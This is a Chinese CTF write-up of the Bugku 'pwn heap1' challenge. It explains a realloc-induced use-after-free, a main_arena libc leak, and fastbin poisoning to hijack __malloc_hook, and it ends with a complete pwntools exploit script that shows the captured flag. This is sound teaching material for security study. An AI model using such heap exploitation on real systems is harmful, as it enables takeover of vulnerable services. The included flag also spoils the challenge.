• 随便学学pwn吧,太久没做pwn了,栈都忘干净了(
  • 用个例题来调调看吧,虽然现在AI都全部能梭哈了,但多学学总没坏处(
  • 题目来自Bugku pwn heap1

2026-08-12T07:04:06.png

  • 这是个菜单题,漏洞存在于realloc(ptr, 0)free(ptr) 然后返回 NULL。于是走 else 分支,*heap[idx]没被更新,仍指向已经被free的数据块。
  • UAF的原理:

    • free掉一个堆块后,没有将指向他的指针置0,于是可以继续利用垂悬指针对他所指向的那块内存区域进行修改,实现got表的篡改或者地址泄漏。
  • 于是,我们可以控制那个被free掉的chunk,修改它的fd指针,让fd指向__malloc_hook,然后再通过申请两个新chunk,第一个新chunk没用,第二个新chunk则实际上就是__malloc_hook,随后edit这个chunk就等于修改了__malloc_hook中的内容,于是我们可以把backdoor的地址写入这个chunk中,随后当我们再次执行malloc时,__malloc_hook就会被劫持随后进入backdoor,这样就被pwn掉了。
  • 所以我们要知道__malloc_hook的地址,__malloc_hook位于libc.so 的数据段,于是我们要算出libc基址,于是用unsortedbins泄漏出main_arena,再减去offset即可算出libc基地址。
  • 开始调试看看,先free一个进unsortedbins,记得要加隔离块。

2026-08-19T07:00:39.png

  • 0x7ffff7bc4b78main_arena+88 的地址,接下来看当前加载的libc基地址。

2026-08-19T07:07:53.png

  • 可得当前基址为0x7ffff7800000,偏移量为0x3c4b78
  • 后续我们要找一个比__malloc_hook地址低几位的合适地址来骗过fastbins size检查,然后劫持掉__malloc_hook
  • 下面试着找一下,先看__malloc_hook

2026-08-20T06:42:24.png

  • 我们可以利用0x7ffff7bc4af0 <_IO_wide_data_0+304>: 0x00007ffff7bc3260 0x0000000000000000
    这一行做size check的欺骗,只要申请一个大小为0x60的块,这样再加上0x10的头部,就可以通过个size检查。
  • 所以fd要修改为指向__malloc_hook-0x10-0x08-0x03-0x08,于是在第二次申请出来的chunk,返回的地址应该是__malloc_hook-0x13这个位置,于是我们后续还要先填充长0x13的填充字符,现在试试

2026-08-20T07:29:02.png

  • 可以看到,确实变成了0x7f,现在继续申请出第二块然后edit一下。

2026-08-20T07:31:54.png
2026-08-20T07:32:14.png

  • 已经劫持掉了,理论可行,然后搓exp.
from pwn import *
import os
os.chdir(os.path.dirname(os.path.abspath(__file__)))
context(arch='amd64', os='linux', log_level='debug') 

context.terminal = ['kitty', '-e']

libc = ELF('./libc-2.23.so')
elf = ELF('./pwn_patched')
#p = process('./pwn_patched')
p=remote("160.202.254.160",16450)

offset=0x3c4b78
printf_got = elf.got['printf']
back_door_addr=0x400926

def add(idx, size, data):
    p.sendlineafter(b'choice', b'1')
    p.sendlineafter(b'index', str(idx).encode())
    p.sendlineafter(b'size', str(size).encode())
    p.sendafter(b'data', data)

#def delete(idx):
    #p.sendlineafter(b'choice', b'3')
    #p.sendlineafter(b'index', str(idx).encode())
    #p.sendlineafter(b'size', b'0')

def edit(idx,size):
    p.sendlineafter(b'choice',b'2')
    p.sendlineafter(b'index', str(idx).encode())
    p.sendlineafter(b'size', str(size).encode())

def show(idx):
    p.sendlineafter(b'choice', b'4')
    p.sendlineafter(b'index', str(idx).encode())


add(0,130,'AAAAAAA')
add(1,130,'AAAAAAA')
edit(0,0)
show(0)

p.recvuntil(b'Chunk at index 0: ')
leak_data=p.recv(6)
leak_addr = u64(leak_data.ljust(8, b'\x00'))
print(hex(leak_addr))

libc_base=leak_addr-offset
malloc_hook_offset= libc.symbols['__malloc_hook']
malloc_hook_addr=libc_base+malloc_hook_offset

add(2,96,'AAAAAAA')
edit(2,0)
edit(2,96)
payload1=p64(malloc_hook_addr-0x23)
p.sendlineafter(b'data',payload1)

add(3,96,'AAAAAAA')
p.sendlineafter(b'choice', b'1')
p.sendlineafter(b'index', str(4).encode())
p.sendlineafter(b'size', str(96).encode())
payload2=b'A'*0x13+p64(back_door_addr)
p.sendlineafter(b'data',payload2)

p.sendlineafter(b'choice', b'1')
p.sendlineafter(b'index', str(5).encode())
p.sendlineafter(b'size', str(100).encode())

p.interactive()
#gdb.attach(p)
#flag{2d264ec100f1aafee9588a6a91e42ac2}
  • 最后就是由于劫持了__malloc_hook,所以只要一遇到malloc()就会触发backdoor,所以根本等不到输入具体的内容,所以最后一次申请chunk就不用p.sendafter(b'data', data)了,否则会导致脚本卡死。

2026-08-20T08:57:11.png